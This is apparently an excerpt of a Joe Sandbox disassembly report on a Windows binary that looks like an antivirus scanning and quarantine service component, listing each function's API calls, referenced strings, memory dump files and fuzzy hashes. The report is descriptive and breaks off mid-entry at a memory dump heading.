amps_Listen: pHandle=%p, waiting for messages from the AMP queue, xrefs: 000000014000397C
amps_Listen: pHandle=%psession Id: %d, xrefs: 0000000140003CFB
amps_Listen: pHandle=%pobject archive name: %s, xrefs: 0000000140003B74
amps_Listen: pHandle=%pdetection message: %s, xrefs: 0000000140003BED
amps_Listen: pHandle=%pdetection accuracy: %d, xrefs: 0000000140003C2B
amps_Listen: pHandle=%p, message received, pulling from AMP queue, xrefs: 00000001400039F3

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave$MultipleObjectsResetTimerWaitWaitable
String ID: amps_Listen: pHandle=%paction taken: %d$amps_Listen: pHandle=%pdetection accuracy: %d$amps_Listen: pHandle=%pdetection component type: %d$amps_Listen: pHandle=%pdetection message: %s$amps_Listen: pHandle=%pdetection name: %s$amps_Listen: pHandle=%pdetection type: %d$amps_Listen: pHandle=%peventId: %d$amps_Listen: pHandle=%pobject archive name: %s$amps_Listen: pHandle=%pobject name: %s$amps_Listen: pHandle=%pobject type: %d$amps_Listen: pHandle=%psession Id: %d$amps_Listen: pHandle=%p, message is:$amps_Listen: pHandle=%p, message received, pulling from AMP queue$amps_Listen: pHandle=%p, p=%p$amps_Listen: pHandle=%p, waiting for messages from the AMP queue$null
API String ID: 1021822269-3147033232
Opcode ID: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction ID: ec7db78c4d4a766f71db07ed68f83fdabe3b60d74f96cc88383eff92a0be527c
Opcode Fuzzy Hash: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction Fuzzy Hash: E5D1DAB5205A4592EB12CF17E880BD923A4F78CBE4F454122BB0D4BBB5DF7AD686C350

Function 0000000140001010 Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 89
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 0000000140001054
GetProcAddress.KERNEL32 ref: 000000014000106C
FreeLibrary.KERNEL32 ref: 000000014000108F
GetProcAddress.KERNEL32 ref: 00000001400010D2
GetProcAddress.KERNEL32 ref: 00000001400010ED
GetProcAddress.KERNEL32 ref: 0000000140001108
GetProcAddress.KERNEL32 ref: 0000000140001123
GetProcAddress.KERNEL32 ref: 000000014000113E
GetProcAddress.KERNEL32 ref: 0000000140001159
GetProcAddress.KERNEL32 ref: 0000000140001174
FreeLibrary.KERNEL32 ref: 0000000140001194
InitializeCriticalSection.KERNEL32 ref: 00000001400011BE

Strings

vseGet, xrefs: 000000014000114B
{7A7E8119-620E-4CEF-BD5F-F748D7B059DA}, xrefs: 0000000140001081
vseGlobalInit, xrefs: 00000001400010C8
vseSet, xrefs: 0000000140001166
vseRelease, xrefs: 0000000140001115
vseGlobalRelease, xrefs: 00000001400010DF
MsiLocateComponentW, xrefs: 0000000140001062
vseInit, xrefs: 00000001400010FA
msi.dll, xrefs: 0000000140001042
vseExec, xrefs: 0000000140001130

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: AddressProc$Library$Free$CriticalInitializeLoadSection
String ID: MsiLocateComponentW$msi.dll$vseExec$vseGet$vseGlobalInit$vseGlobalRelease$vseInit$vseRelease$vseSet${7A7E8119-620E-4CEF-BD5F-F748D7B059DA}
API String ID: 883923345-381368982
Opcode ID: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction ID: d19804ac2d128cc8e67db72781ea5cb7b7d89be94dae840b99a82102003c66a5
Opcode Fuzzy Hash: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction Fuzzy Hash: F351EEB4221B4191EB52CF26F8987D823A0BB8D7C5F841515EA5E8B3B0EF7AC548C700

Function 0000000140002460 Relevance: 30.1, APIs: 20, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002492
LeaveCriticalSection.KERNEL32 ref: 00000001400024A3
SetEvent.KERNEL32 ref: 00000001400024AD
EnterCriticalSection.KERNEL32 ref: 00000001400024C0
LeaveCriticalSection.KERNEL32 ref: 00000001400024D1
WaitForMultipleObjects.KERNEL32 ref: 00000001400024F1
CloseHandle.KERNEL32 ref: 00000001400024FB
CloseHandle.KERNEL32 ref: 0000000140002505
EnterCriticalSection.KERNEL32 ref: 0000000140002514
SetEvent.KERNEL32 ref: 000000014000255E
ResetEvent.KERNEL32 ref: 000000014000256B
LeaveCriticalSection.KERNEL32 ref: 0000000140002575
GetProcessHeap.KERNEL32 ref: 0000000140002591
HeapFree.KERNEL32 ref: 000000014000259F
GetProcessHeap.KERNEL32 ref: 00000001400025AE
HeapFree.KERNEL32 ref: 00000001400025BC
GetProcessHeap.KERNEL32 ref: 00000001400025CB
HeapFree.KERNEL32 ref: 00000001400025D9
GetProcessHeap.KERNEL32 ref: 00000001400025E8
HeapFree.KERNEL32 ref: 00000001400025F6

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$EnterEventLeave$CloseHandle$MultipleObjectsResetWait
String ID:
API String ID: 1613947383-0
Opcode ID: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction ID: 4415f923c5b49a541c3c18af517eb333de188a5b32bf04682df7988820a44021
Opcode Fuzzy Hash: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction Fuzzy Hash: 8D51D3BA204A4496E726DF23F85439A6361F79CBD1F044125EB9A07AB4DF39D599C300

Function 0000000140004500 Relevance: 22.6, APIs: 15, Instructions: 73memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 000000014000451B
EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 0000000140004525
GetProcessHeap.KERNEL32 ref: 000000014000454C
HeapFree.KERNEL32 ref: 000000014000455A
SetEvent.KERNEL32 ref: 0000000140004567
ResetEvent.KERNEL32 ref: 0000000140004571
LeaveCriticalSection.KERNEL32 ref: 000000014000457B
CloseHandle.KERNEL32 ref: 000000014000458A
CloseHandle.KERNEL32 ref: 0000000140004599
LeaveCriticalSection.KERNEL32 ref: 00000001400045A3
DeleteCriticalSection.KERNEL32 ref: 00000001400045AD
GetProcessHeap.KERNEL32 ref: 00000001400045D2
HeapFree.KERNEL32 ref: 00000001400045E0
GetProcessHeap.KERNEL32 ref: 00000001400045F5
HeapFree.KERNEL32 ref: 0000000140004603

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction ID: 07b3271e3c5f19e1ab061b13c36c38fadfaaa54878a955e19646b3fb384661b9
Opcode Fuzzy Hash: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction Fuzzy Hash: 7C31D3B6601B41A7EB16DF63F98439833A4FB9CB81F484014EB4A07A35DF39E4B98304

Function 00000001400048A0 Relevance: 22.6, APIs: 15, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400048AD
EnterCriticalSection.KERNEL32 ref: 00000001400048BA
GetProcessHeap.KERNEL32 ref: 00000001400048F1
HeapFree.KERNEL32 ref: 0000000140004903
SetEvent.KERNEL32 ref: 0000000140004917
ResetEvent.KERNEL32 ref: 0000000140004924
LeaveCriticalSection.KERNEL32 ref: 0000000140004931
CloseHandle.KERNEL32 ref: 0000000140004943
CloseHandle.KERNEL32 ref: 0000000140004955
LeaveCriticalSection.KERNEL32 ref: 0000000140004962
DeleteCriticalSection.KERNEL32 ref: 000000014000496F
GetProcessHeap.KERNEL32 ref: 00000001400049A7
HeapFree.KERNEL32 ref: 00000001400049B9
GetProcessHeap.KERNEL32 ref: 00000001400049D5
HeapFree.KERNEL32 ref: 00000001400049E7

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction ID: fd5ea752b6625aace240e5dc115a6ac8a79eac1ae5096a798ed6b9a4de507a32
Opcode Fuzzy Hash: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction Fuzzy Hash: B2311BB4511E0985EB07DF63FC943D423A6BB5CBD5F8D0129AB4A8B270EF3A8499C214

Function 0000000140002DE0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 166registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002E63
LeaveCriticalSection.KERNEL32 ref: 0000000140002EE7
EnterCriticalSection.KERNEL32 ref: 0000000140002EF9
EnterCriticalSection.KERNEL32 ref: 0000000140002F35
LeaveCriticalSection.KERNEL32 ref: 0000000140002FC0
RegCreateKeyExW.ADVAPI32 ref: 000000014000300B
RegSetValueExW.ADVAPI32 ref: 000000014000304C
RegCloseKey.ADVAPI32 ref: 0000000140003057
LeaveCriticalSection.KERNEL32 ref: 0000000140003064

Strings

SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002FD5
?, xrefs: 0000000140002FFE
action, xrefs: 0000000140003020

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseCreateValue
String ID: ?$SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 93015348-1041928032
Opcode ID: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction ID: 955b1bef443a43e40f7389cebc0d05d3cfed999bfec6c75915e9fb821c1678e4
Opcode Fuzzy Hash: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction Fuzzy Hash: E3714676211A4082E762CB26F8507DA73A5F78D7E4F141226FB6A4B7F4DB3AC485C700

Function 0000000140002B40 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140002B91
GetProcAddress.KERNEL32 ref: 0000000140002BAD
GetProcAddress.KERNEL32 ref: 0000000140002BC8
GetProcAddress.KERNEL32 ref: 0000000140002BE3
EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

Strings

vseqrt.dll, xrefs: 0000000140002B7E
vseqrtInit, xrefs: 0000000140002BA3
vseqrtRelease, xrefs: 0000000140002BBA
vseqrtAdd, xrefs: 0000000140002BD5

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$AddressProc$EnterLeave$LibraryLoad
String ID: vseqrt.dll$vseqrtAdd$vseqrtInit$vseqrtRelease
API String ID: 3682727354-300733478
Opcode ID: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction ID: 5756194132ff8dd7ec1522ad033bffa79c37130547d86cec9d6c1639cfe77c95
Opcode Fuzzy Hash: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction Fuzzy Hash: 8C710175220B4186EB52DF26F894BC533A4F78CBE4F441226EA598B3B4DF3AC945C740

Function 00000001400033E0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 126memorytimeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140003406
SetWaitableTimer.KERNEL32 ref: 0000000140003432
#4.VSELOG ref: 000000014000346A
GetProcessHeap.KERNEL32 ref: 000000014000351C
HeapReAlloc.KERNEL32 ref: 0000000140003531
GetProcessHeap.KERNEL32 ref: 0000000140003539
HeapAlloc.KERNEL32 ref: 0000000140003547
#4.VSELOG ref: 00000001400035DD
LeaveCriticalSection.KERNEL32 ref: 00000001400035E9
LeaveCriticalSection.KERNEL32 ref: 00000001400035FA

Strings

amps_Init: iFlags=%d, pid=%d, sid=%d, xrefs: 0000000140003452
amps_Init: done, pHandle=%p, xrefs: 00000001400035CC

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$CriticalSection$AllocLeaveProcess$EnterTimerWaitable
String ID: amps_Init: done, pHandle=%p$amps_Init: iFlags=%d, pid=%d, sid=%d
API String ID: 2587151837-1427723692
Opcode ID: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction ID: a7c4065e0455d4df5ce4727384a6dec66c16779501c9bb3b2af2b379a082be6c
Opcode Fuzzy Hash: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction Fuzzy Hash: 9F5114B5225B4082FB13CB27F8847D963A5F78CBD0F445525BB4A4B7B8DB7AC4448700

Function 0000000140004D10 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000140004D43
GetProcAddress.KERNEL32 ref: 0000000140004D62
GetFileAttributesW.KERNEL32 ref: 0000000140004DE9
LoadLibraryW.KERNEL32 ref: 0000000140004DF7
GetCurrentDirectoryW.KERNEL32 ref: 0000000140004E1C
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E27
LoadLibraryW.KERNEL32 ref: 0000000140004E30
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E41

Strings

kernel32.dll, xrefs: 0000000140004D3C
SetDllDirectoryW, xrefs: 0000000140004D58

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CurrentDirectory$LibraryLoad$AddressAttributesFileHandleModuleProc
String ID: SetDllDirectoryW$kernel32.dll
API String ID: 3184163350-3826188083
Opcode ID: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction ID: 3ea874f08b0d6ae9fbaedd0e680489d05007b391355801732f4c7fbd06edc96d
Opcode Fuzzy Hash: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction Fuzzy Hash: FD41F6B1218A8582EB22DF12F8547DA73A5F79D7D4F400125EB8A0BAB5DF7EC548CB40

Function 0000000140004BA0 Relevance: 18.1, APIs: 9, Strings: 3, Instructions: 80memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140004BE7
GetProcessHeap.KERNEL32 ref: 0000000140004BF6
HeapAlloc.KERNEL32 ref: 0000000140004C04
lstrlenW.KERNEL32 ref: 0000000140004C3E
GetProcessHeap.KERNEL32 ref: 0000000140004C4D
HeapAlloc.KERNEL32 ref: 0000000140004C5B
lstrlenW.KERNEL32 ref: 0000000140004C8E
GetProcessHeap.KERNEL32 ref: 0000000140004C9D
HeapAlloc.KERNEL32 ref: 0000000140004CAB

Strings

ncalrpc, xrefs: 0000000140004BAF, 0000000140004C17
ampIfEp, xrefs: 0000000140004C29, 0000000140004C6E
Security=impersonation static true, xrefs: 0000000140004C80, 0000000140004CBE

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3424473247-996641649
Opcode ID: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction ID: 5475aedf582102907cd33adbfaf34f9b11ebc9e91273ce6565e0ea0cfbbdf015
Opcode Fuzzy Hash: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction Fuzzy Hash: FE3137B062A74082FB03CB53BD447E962A5E75DBD8F554019EB0E0BBB6DBBEC1558700

Function 000000014000A740 Relevance: 16.9, APIs: 11, Instructions: 354COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000A7AA
GetLastError.KERNEL32 ref: 000000014000A7BA
MultiByteToWideChar.KERNEL32 ref: 000000014000A874
MultiByteToWideChar.KERNEL32 ref: 000000014000A921
LCMapStringW.KERNEL32 ref: 000000014000A944
LCMapStringW.KERNEL32 ref: 000000014000A98D
LCMapStringW.KERNEL32 ref: 000000014000AA24
WideCharToMultiByte.KERNEL32 ref: 000000014000AA65
LCMapStringA.KERNEL32 ref: 000000014000AB13
LCMapStringA.KERNEL32 ref: 000000014000ABC6
LCMapStringA.KERNEL32 ref: 000000014000AC4C

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction ID: 7820e0e177e3580e7fbac086e7e180635334a87404cd07a7d6eea56579f34d7e
Opcode Fuzzy Hash: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction Fuzzy Hash: 7CE18BB27007808AEB66DF26A54079977E1F74EBE8F144225FB6957BE8DB38C941C700

Function 0000000140009C30 Relevance: 16.6, APIs: 11, Instructions: 150COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C52
GetLastError.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C6C
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C91
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CD4
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CF2
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D09
MultiByteToWideChar.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D37
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D73
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009E19

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharErrorLastMultiWide
String ID:
API String ID: 1232609184-0
Opcode ID: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction ID: a97fb2b29f1dbdd40f84dfefdd532c69b8fe37edd6617e3b903b273dff31e607
Opcode Fuzzy Hash: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction Fuzzy Hash: 9851AEB164564046FB66DF23B8147AA66D0BB4DFE0F484625FF6A87BF1EB78C4448300

Function 0000000140002740 Relevance: 16.6, APIs: 10, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001B48
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001BE6

EnterCriticalSection.KERNEL32 ref: 00000001400027B2
LeaveCriticalSection.KERNEL32 ref: 000000014000286E
GetProcessHeap.KERNEL32 ref: 000000014000287F
HeapFree.KERNEL32 ref: 000000014000288D
GetProcessHeap.KERNEL32 ref: 000000014000289D
HeapFree.KERNEL32 ref: 00000001400028AB
GetProcessHeap.KERNEL32 ref: 00000001400028BB
HeapFree.KERNEL32 ref: 00000001400028C9
GetProcessHeap.KERNEL32 ref: 00000001400028D9
HeapFree.KERNEL32 ref: 00000001400028E7

Strings

H, xrefs: 000000014000278C

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$CriticalSection$EnterFreeProcess$Leave
String ID: H
API String ID: 2107338056-2852464175
Opcode ID: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction ID: c1f1c0cc251b461ea163c40135a27997c94af954a8846501eddf5ed74a01cb36
Opcode Fuzzy Hash: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction Fuzzy Hash: D5513B76216B4086EBA2DF63B84439A73E5F74DBD0F098128EB9D87765EF39C4558300

Function 0000000140003200 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 100timeCOMMON

Download Yara Rule

APIs

#4.VSELOG ref: 0000000140003242
EnterCriticalSection.KERNEL32 ref: 0000000140003257
LeaveCriticalSection.KERNEL32 ref: 00000001400032D9
#4.VSELOG ref: 0000000140003353

Part of subcall function 0000000140002B40: LoadLibraryW.KERNEL32 ref: 0000000140002B91
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BAD
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BC8
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BE3
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

#4.VSELOG ref: 0000000140003389
SetWaitableTimer.KERNEL32 ref: 00000001400033BE

Strings

fnCallback: hScan=%d, quarantine, result %d, xrefs: 000000014000333F
fnCallback: hScan=%d, evId=%d, context=%p, xrefs: 000000014000323B
fnCallback: hScan=%d, putting event %d into listening threads queues, xrefs: 0000000140003372

Memory Dump Source

